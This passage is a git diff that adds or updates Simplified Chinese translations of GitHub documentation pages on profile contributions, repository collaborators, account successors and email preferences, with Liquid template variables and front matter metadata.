a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md @@ -1,6 +1,6 @@ --- -title: Viewing contributions on your profile -intro: 'Your {% data variables.product.product_name %} profile shows off {% ifversion fpt or ghes or ghec %}your pinned repositories, Achievements, and{% endif %} a graph of your repository contributions over the past year.' +title: 在个人资料中查看贡献 +intro: '你的 {% data variables.product.product_name %} 个人资料显示{% ifversion fpt or ghes or ghec %}你的固定存储库、成就和{% endif %}过去一年中存储库贡献的图。' redirect_from: - /articles/viewing-contributions - /articles/viewing-contributions-on-your-profile-page @@ -15,83 +15,89 @@ versions: topics: - Profiles shortTitle: View contributions +ms.openlocfilehash: 81b2242e0c7a07d8941375d044cacc65ca8dd56d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147079523' --- -{% ifversion fpt or ghes or ghec %}Your contribution graph and Achievements show activity from public repositories. {% endif %}You can choose to show activity from {% ifversion fpt or ghes or ghec %}both public and {% endif %}private repositories, with specific details of your activity in private repositories anonymized. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)." +{% ifversion fpt or ghes or ghec %}你的贡献图和“成就”显示公共存储库的活动。 {% endif %}可以选择显示 {% ifversion fpt or ghes or ghec %} 公共和 {% endif %} 私有存储库的活动,并将私有存储库中活动的具体详细信息匿名化。 有关详细信息,请参阅“[在配置文件中公开或隐藏私人贡献](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)”。 {% note %} -**Note:** Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your account on {% data variables.product.product_name %}. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)" +注意:仅当用于创作提交的电子邮件地址与在 {% data variables.product.product_name %} 上的帐户相连时,提交才会显示在你的贡献图中。 有关详细信息,请参阅“[为什么我的贡献没有在我的配置文件中显示?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)” {% endnote %} -## What counts as a contribution +## 计为贡献的内容 -On your profile page, certain actions count as contributions: +在您的个人资料页面上,某些操作计为贡献: -- Committing to a repository's default branch or `gh-pages` branch -- Opening an issue -- Opening a discussion -- Answering a discussion -- Proposing a pull request -- Submitting a pull request review{% ifversion ghes or ghae %} -- Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %} +- 提交到存储库的默认分支或 `gh-pages` 分支 +- 创建问题 +- 打开讨论 +- 回答讨论 +- 提议拉取请求 +- 提交拉取请求审查 {% ifversion ghes or ghae %} +- 合作创作存储库默认分支或 `gh-pages` 分支中的提交{% endif %} {% data reusables.pull_requests.pull_request_merges_and_contributions %} -## Popular repositories +## 受欢迎的仓库 -This section displays your repositories with the most watchers. {% ifversion fpt or ghes or ghec %}Once you [pin repositories to your profile](/articles/pinning-repositories-to-your-profile), this section will change to "Pinned repositories."{% endif %} +此部分显示具有最多查看者的仓库。 {% ifversion fpt or ghes or ghec %}[将存储库固定到配置文件](/articles/pinning-repositories-to-your-profile)后,此部分将更改为“固定的存储库”。{% endif %} -![Popular repositories](/assets/images/help/profile/profile_popular_repositories.png) +![受欢迎的仓库](/assets/images/help/profile/profile_popular_repositories.png) {% ifversion fpt or ghes or ghec %} -## Pinned repositories +## 固定的仓库 -This section displays up to six public repositories and can include your repositories as well as repositories you've contributed to. To easily see important details about the repositories you've chosen to feature, each repository in this section includes a summary of the work being done, the number of [stars](/articles/saving-repositories-with-stars/) the repository has received, and the main programming language used in the repository. For more information, see "[Pinning repositories to your profile](/articles/pinning-repositories-to-your-profile)." +此部分显示最多六个公共仓库,并可包括您的仓库以及您对其做出贡献的仓库。 为便于查看关于你选择提供的存储库的重要详细信息,此部分中的每个存储库均包括所做工作的摘要、存储库已收到的[星号](/articles/saving-repositories-with-stars/)数量以及存储库中使用的主要编程语言。 有关详细信息,请参阅“[将存储库固定到配置文件](/articles/pinning-repositories-to-your-profile)”。 -![Pinned repositories](/assets/images/help/profile/profile_pinned_repositories.png) +![固定的仓库](/assets/images/help/profile/profile_pinned_repositories.png) {% endif %} -## Contributions calendar +## 贡献日历 -Your contributions calendar shows your contribution activity. +您的贡献日历会显示贡献活动。 -### Viewing contributions from specific times +### 查看特定时间的贡献 -- Click on a day's square to show the contributions made during that 24-hour period. -- Press *Shift* and click on another day's square to show contributions made during that time span. +- 单击某个日期的方块可显示该 24 小时期间内所做的贡献。 +- 按“Shift”并单击任意日期的方块可显示该时间范围内所做的贡献。 {% note %} -**Note:** You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions. +注意:可以在贡献日历中选择最多一个月的范围。 如果您选择更大的时间范围,我们将仅显示一个月的贡献。 {% endnote %} -![Your contributions graph](/assets/images/help/profile/contributions_graph.png) +![您的贡献图](/assets/images/help/profile/contributions_graph.png) -### How contribution event times are calculated +### 如何计算贡献事件时间 -Timestamps are calculated differently for commits and pull requests: -- **Commits** use the time zone information in the commit timestamp. For more information, see "[Troubleshooting commits on your timeline](/articles/troubleshooting-commits-on-your-timeline)." -- **Pull requests** and **issues** opened on {% data variables.product.product_name %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes). +对于提交和拉取请求,时间戳的计算方式不同: +- “提交”使用提交时间戳中的时区信息。 有关详细信息,请参阅“[排查日程表上的提交问题](/articles/troubleshooting-commits-on-your-timeline)”。 +- {% data variables.product.product_name %} 上打开的“拉取请求”和“议题”使用浏览器的时区 。 通过 API 打开的内容使用 [API 调用中指定的](https://developer.github.com/changes/2014-03-04-timezone-handling-changes)时间戳或时区。 -## Activity overview +## 活动概述 -{% data reusables.profile.activity-overview-summary %} For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)." +{% data reusables.profile.activity-overview-summary %} 有关详细信息,请参阅“[在配置文件中显示活动概览](/articles/showing-an-overview-of-your-activity-on-your-profile)”。 -![Activity overview section on profile](/assets/images/help/profile/activity-overview-section.png) +![个人资料中的活动概览部分](/assets/images/help/profile/activity-overview-section.png) -The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)." +活动概览中提供的组织根据您在组织中的活跃程度确定优先级。 如果在配置文件简历中 @mention 某个组织,并且你是组织成员,则该组织首先在活动概览中确定优先级。 有关详细信息,请参阅“[提及人员和团队](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)”或“[将个人简介添加到配置文件](/articles/adding-a-bio-to-your-profile/)”。 -## Contribution activity +## 贡献活动 -The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened. You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page. Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity. If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened. +贡献活动部分包括工作的详细时间表,包括您进行或合作的提交、您提议的拉取请求以及您打开的议题。 可通过单击贡献活动底部的“Show more activity(显示更多活动)”或通过在查看页面右侧时单击你感兴趣的年份来查看一段时间内你的贡献。 重要时刻(如您加入组织、提议第一个拉取请求或打开一个备受瞩目议题的日期)将在贡献活动中突出显示。 如果您在时间表中无法看到某些事件,请检查以确保您仍具有事件发生位置组织或仓库的访问权限。 -![Contribution activity time filter](/assets/images/help/profile/contributions_activity_time_filter.png) +![贡献活动时间过滤器](/assets/images/help/profile/contributions_activity_time_filter.png) -## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %} +## 在 {% data variables.product.prodname_dotcom_the_website %} 上查看 {% data variables.product.prodname_enterprise %} 中的贡献 -If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.enterprise.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." +如果使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} 或 {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} 并且你的企业所有者启用 {% data variables.product.prodname_unified_contributions %},可以向 {% data variables.product.prodname_dotcom_the_website %} 配置文件发送企业贡献计数。 有关详细信息,请参阅“[将企业贡献发送到自己的 {% data variables.product.prodname_dotcom_the_website %} 配置文件](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)”。 diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/index.md new file mode 100644 index 0000000000..772ee7395a --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/index.md @@ -0,0 +1,26 @@ +--- +title: 设置和管理 GitHub 用户帐户 +intro: You can manage settings in your GitHub personal account including email preferences, collaborator access for personal repositories, and organization memberships. +shortTitle: Personal accounts +redirect_from: +- /categories/setting-up-and-managing-your-github-user-account +- /github/setting-up-and-managing-your-github-user-account +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +children: +- /managing-user-account-settings +- /managing-email-preferences +- /managing-access-to-your-personal-repositories +- /managing-your-membership-in-organizations +ms.openlocfilehash: 36e4d1280fdc48a7165199e40830417904ae1790 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085080" +--- diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md new file mode 100644 index 0000000000..1c3f983db6 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md @@ -0,0 +1,30 @@ +--- +title: 管理对个人仓库的访问 +intro: You can give people collaborator access to repositories owned by your personal account. +redirect_from: +- /categories/101/articles +- /categories/managing-repository-collaborators +- /articles/managing-access-to-your-personal-repositories +- /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories +product: '{% data reusables.gated-features.user-repo-collaborators %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +- Repositories +children: +- /inviting-collaborators-to-a-personal-repository +- /removing-a-collaborator-from-a-personal-repository +- /removing-yourself-from-a-collaborators-repository +- /maintaining-ownership-continuity-of-your-user-accounts-repositories +shortTitle: Access to your repositories +ms.openlocfilehash: fd4ab3f5e29b35c1a222287471a2b310d0240322 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145087339" +--- diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md new file mode 100644 index 0000000000..920e22c853 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md @@ -0,0 +1,65 @@ +--- +title: 邀请协作者参加个人仓库 +intro: You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository. +redirect_from: +- /articles/how-do-i-add-a-collaborator +- /articles/adding-collaborators-to-a-personal-repository +- /articles/inviting-collaborators-to-a-personal-repository +- /github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository +- /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository +product: '{% data reusables.gated-features.user-repo-collaborators %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +- Repositories +shortTitle: Invite collaborators +ms.openlocfilehash: 6db661abfc48b87ae7eae2c515be2e14e3717ec4 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085079" +--- +组织拥有的仓库可授予更细致的访问权限。 有关详细信息,请参阅“[对 {% data variables.product.prodname_dotcom %} 的访问权限](/articles/access-permissions-on-github)”。 + +{% data reusables.organizations.org-invite-expiration %} + +{% ifversion fpt or ghec %} + +如果您是 {% data variables.product.prodname_emu_enterprise %} 的成员,则只能邀请企业的其他成员与您协作。 {% data reusables.enterprise-accounts.emu-more-info-account %} + +{% note %} + +注意:{% data variables.product.company_short %} 会限制在 24 小时内可受邀加入存储库的人数。 如果您超过此限制,请等待 24 小时后再邀请,或者创建一个组织以与更多的人协作。 + +{% endnote %} + +{% endif %} + +1. 询问你邀请作为协助者的用户名。{% ifversion fpt or ghec %} 如果他们还没有用户名,他们可以注册 {% data variables.product.prodname_dotcom %}。有关详细信息,请参阅“[注册新的 {% data variables.product.prodname_dotcom %} 帐户](/articles/signing-up-for-a-new-github-account)”。{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658%} {% data reusables.repositories.click-collaborators-teams %} +1. 单击“邀请协作者”。 + ![“邀请协作者”按钮](/assets/images/help/repository/invite-a-collaborator-button.png) +2. 在搜索字段中,开始键入您想邀请的人员的姓名,然后单击匹配列表中的姓名。 + ![搜索字段以键入要邀请加入存储库的人员姓名](/assets/images/help/repository/manage-access-invite-search-field-user.png) +3. 单击“将 添加到存储库”。 + ![用于添加协作者的按钮](/assets/images/help/repository/add-collaborator-user-repo.png) {% else %} +5. 在左侧边栏中,单击“协作者”。 +![突出显示协作者的“存储库设置”侧边栏](/assets/images/help/repository/user-account-repo-settings-collaborators.png) +6. 在 "Collaborators"(协作者)下,开始输入协作者的用户名。 +7. 从下拉菜单中选择协作者的用户名。 + ![协作者列表下拉菜单](/assets/images/help/repository/repo-settings-collab-autofill.png) +8. 单击“添加协作者”。 + ![“添加协作者”按钮](/assets/images/help/repository/repo-settings-collab-add.png) {% endif %} {% ifversion fpt or ghec %} +9. 用户将会收到一封邀请他们参加仓库的电子邮件。 在接受邀请后,他们便对仓库具有协作者访问权限。 +{% endif %} + +## 延伸阅读 + +- “[个人帐户存储库的权限级别](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-personal-account)” +- [从个人存储库中删除协作者](/articles/removing-a-collaborator-from-a-personal-repository) +- [从协作者的存储库中删除你自己](/articles/removing-yourself-from-a-collaborator-s-repository) +- [将成员组织为团队](/organizations/organizing-members-into-teams) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md new file mode 100644 index 0000000000..8baed36585 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md @@ -0,0 +1,44 @@ +--- +title: 保持用户帐户仓库的所有权连续性 +intro: You can invite someone to manage your user owned repositories if you are not able to. +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +- Repositories +redirect_from: +- /github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories +- /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories +shortTitle: Ownership continuity +ms.openlocfilehash: f958e3ca640a1180db03361457ec7c185e4ce7ba +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085078" +--- +## 关于继承者 + +如果您无法管理您的用户拥有的仓库,建议邀请其他 {% data variables.product.company_short %} 用户作为继承者管理。 作为继承者,他们拥有以下权限: + +- 存档您的公共仓库。 +- 将公共仓库转移到他们自己的用户拥有的帐户。 +- 将您的公共仓库转移到他们可在其中创建仓库的组织。 + +继承者不能登录到您的帐户。 + +指定的继承者在提交死亡证明并等待 7 天或者提交讣告并等待 21 天后,便可管理您的公共仓库。 有关详细信息,请参阅“[{% data variables.product.company_short %} 已故用户政策](/free-pro-team@latest/github/site-policy/github-deceased-user-policy)”。 + +要请求作为继承者管理存储库,请联系 [GitHub 支持](https://support.github.com/contact?tags=docs-accounts)。 + +## 邀请继承者 +您邀请作为继承者的人必须拥有 {% data variables.product.company_short %} 帐户。 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.account_settings %} +3. 要邀请继承者,在“Successor settings(继承者设置)”下开始输入用户名、全名或电子邮件地址,然后单击出现的姓名。 + ![继承者邀请搜索字段](/assets/images/help/settings/settings-invite-successor-search-field.png) +4. 单击“添加继承者”。 +{% data reusables.user-settings.sudo-mode-popup %} +5. 您邀请的用户将被列为“Pending(待定)”,直到他们同意成为您的继承者。 + ![待定继承者邀请](/assets/images/help/settings/settings-pending-successor.png) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md new file mode 100644 index 0000000000..98b0017e90 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md @@ -0,0 +1,47 @@ +--- +title: 从个人仓库中删除协作者 +intro: When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted. +redirect_from: +- /articles/how-do-i-remove-a-collaborator +- /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository +- /articles/removing-a-collaborator-from-a-private-repository +- /articles/deleting-a-private-fork-of-a-private-user-repository +- /articles/how-do-i-delete-a-fork-of-my-private-repository +- /articles/removing-a-collaborator-from-a-personal-repository +- /github/setting-up-and-managing-your-github-user-account/removing-a-collaborator-from-a-personal-repository +- /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository +product: '{% data reusables.gated-features.user-repo-collaborators %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +- Repositories +shortTitle: Remove a collaborator +ms.openlocfilehash: eafe4f8bb1cea085910179a95f17c0b4a1358ad2 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145087340" +--- +## 删除私有仓库的复刻 + +尽管删除协作者时将删除私有仓库的复刻,但此人员将仍保留您仓库的任何本地克隆。 + +## 删除为仓库做出贡献的人员的协作者权限 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} {% data reusables.repositories.click-collaborators-teams %} +4. 在要移除的协作者的右侧,单击 {% octicon "trash" aria-label="The trash icon" %}。 + ![用于移除协作者的按钮](/assets/images/help/repository/collaborator-remove.png) {% else %} +3. 在左侧边栏中,单击“协作者和团队”。 + ![“协作者”选项卡](/assets/images/help/repository/repo-settings-collaborators.png) +4. 在要移除的协作者旁边,单击“X”图标。 + ![移除链接](/assets/images/help/organizations/Collaborator-Remove.png) {% endif %} + +## 延伸阅读 + +- [从团队中移除组织成员](/articles/removing-organization-members-from-a-team) +- [从组织存储库中移除外部协作者](/articles/removing-an-outside-collaborator-from-an-organization-repository) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md new file mode 100644 index 0000000000..e80e3ab9e7 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md @@ -0,0 +1,36 @@ +--- +title: 从协作者的仓库中删除您自己 +intro: If you no longer want to be a collaborator on someone else's repository, you can remove yourself. +redirect_from: +- /leave-a-collaborative-repo +- /leave-a-repo +- /articles/removing-yourself-from-a-collaborator-s-repo +- /articles/removing-yourself-from-a-collaborator-s-repository +- /articles/removing-yourself-from-a-collaborators-repository +- /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository +- /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +- Repositories +shortTitle: Remove yourself +ms.openlocfilehash: dc9739d84d1794e3111f3b61e0dfd9a7c4bec11b +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085075" +--- +{% data reusables.user-settings.access_settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +2. 在边栏的“代码、规划和自动化”部分,单击“{% octicon "repo" aria-label="The repo icon" %} 存储库”。 +{% else %} +2. 在左侧边栏中,单击“存储库”。 + ![“存储库”选项卡](/assets/images/help/settings/settings-sidebar-repositories.png) {% endif %} +3. 在要离开的存储库旁边,单击“离开”。 + ![“离开”按钮](/assets/images/help/repository/repo-leave.png) +4. 仔细阅读警告,然后单击“I understand, leave this repository(我已了解,离开此仓库)”。 + ![警告你将离开的对话框](/assets/images/help/repository/repo-leave-confirmation.png) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md new file mode 100644 index 0000000000..5c59ec7fc5 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md @@ -0,0 +1,39 @@ +--- +title: 添加电子邮件地址到 GitHub 帐户 +intro: '{% data variables.product.product_name %} allows you to add as many email addresses to your account as you like. If you set an email address in your local Git configuration, you will need to add it to your account settings in order to connect your commits to your account. For more information about your email address and commits, see "[Setting your commit email address](/articles/setting-your-commit-email-address/)."' +redirect_from: +- /articles/adding-an-email-address-to-your-github-account +- /github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account +- /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: +- Accounts +- Notifications +shortTitle: Add an email address +ms.openlocfilehash: 3d7efd2e72ed1ab23ccf2e686f4a1c1c7653cc1f +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145087335" +--- +{% ifversion fpt or ghec %} + +{% note %} + +**注释**: + - {% data reusables.user-settings.no-verification-disposable-emails %} + - 如果您是 {% data variables.product.prodname_emu_enterprise %} 的成员,则无法在 {% data variables.product.prodname_dotcom_the_website %} 上更改您的电子邮件地址。 {% data reusables.enterprise-accounts.emu-more-info-account %} + +{% endnote %} + +{% endif %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} {% data reusables.user-settings.add_and_verify_email %} {% data reusables.user-settings.select_primary_email %} + +## 延伸阅读 + +- [管理电子邮件首选项](/articles/managing-email-preferences/) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md new file mode 100644 index 0000000000..b0559ee079 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md @@ -0,0 +1,32 @@ +--- +title: 阻止会暴露个人电子邮件地址的命令行推送 +intro: If you've chosen to keep your email address private when performing web-based operations, you can also choose to block command line pushes that may expose your personal email address. +redirect_from: +- /articles/blocking-command-line-pushes-that-expose-your-personal-email-address +- /github/setting-up-and-managing-your-github-user-account/blocking-command-line-pushes-that-expose-your-personal-email-address +- /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +- Notifications +shortTitle: Block push with personal email +ms.openlocfilehash: e085c19339cc530537626d9bf987125aebfd3427 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085074" +--- +从命令行推送提交时,[在 Git 中设置](/articles/setting-your-commit-email-address)的电子邮件地址与提交相关联。 如果您启用此设置,则每当您推送到 GitHub 时,我们将检查最近的提交。 如果提交的作者电子邮件地址是您的 GitHub 帐户上的私人电子邮件地址,我们将阻止推送并警告这样会暴露您的私人电子邮件地址。 + +{% data reusables.user-settings.about-commit-email-addresses %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} {% data reusables.user-settings.keeping_your_email_address_private %} +4. 要使你的电子邮件地址在你通过命令行推送的提交中保持私密,请选择阻止会公开个人电子邮件地址的命令行推送。 +![阻止会公开个人电子邮件地址的命令行推送的选项](/assets/images/help/settings/email_privacy_block_command_line_pushes.png) + +## 延伸阅读 + +- [设置提交电子邮件地址](/articles/setting-your-commit-email-address) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address.md new file mode 100644 index 0000000000..719646474b --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address.md @@ -0,0 +1,37 @@ +--- +title: 更改主电子邮件地址 +intro: You can change the email address associated with your personal account at any time. +redirect_from: +- /articles/changing-your-primary-email-address +- /github/setting-up-and-managing-your-github-user-account/changing-your-primary-email-address +- /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: +- Accounts +- Notifications +shortTitle: Primary email address +ms.openlocfilehash: af1443f1f23b8038d2cf1f4e42a1ab0a83214edb +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145087332" +--- +{% note %} + +注意:不能将主电子邮件地址更改为已设置为备份电子邮件地址的电子邮件。 + +{% endnote %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} +3. 如果要添加新电子邮件地址以设置为主电子邮件地址,请在“添加电子邮件地址”下键入新电子邮件地址,然后单击“添加”。 + ![添加其他电子邮件地址按钮](/assets/images/help/settings/add_another_email_address.png) +4. 在“主要电子邮件地址”下,使用下拉菜单单击要设置为主电子邮件地址的电子邮件地址,然后单击“保存”。 + ![设为主电子邮件地址按钮](/assets/images/help/settings/set_as_primary_email.png) +5. 要从帐户删除旧电子邮件地址,请在旧电子邮件地址旁边,单击 {% octicon "trash" aria-label="The trash symbol" %}。 +{% ifversion fpt or ghec %} +6. 验证新的主电子邮件地址。 如果没有经验证的电子邮件地址,您将无法使用 {% data variables.product.product_name %} 的所有功能。 有关详细信息,请参阅“[验证电子邮件地址](/articles/verifying-your-email-address)”。 +{% endif %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md new file mode 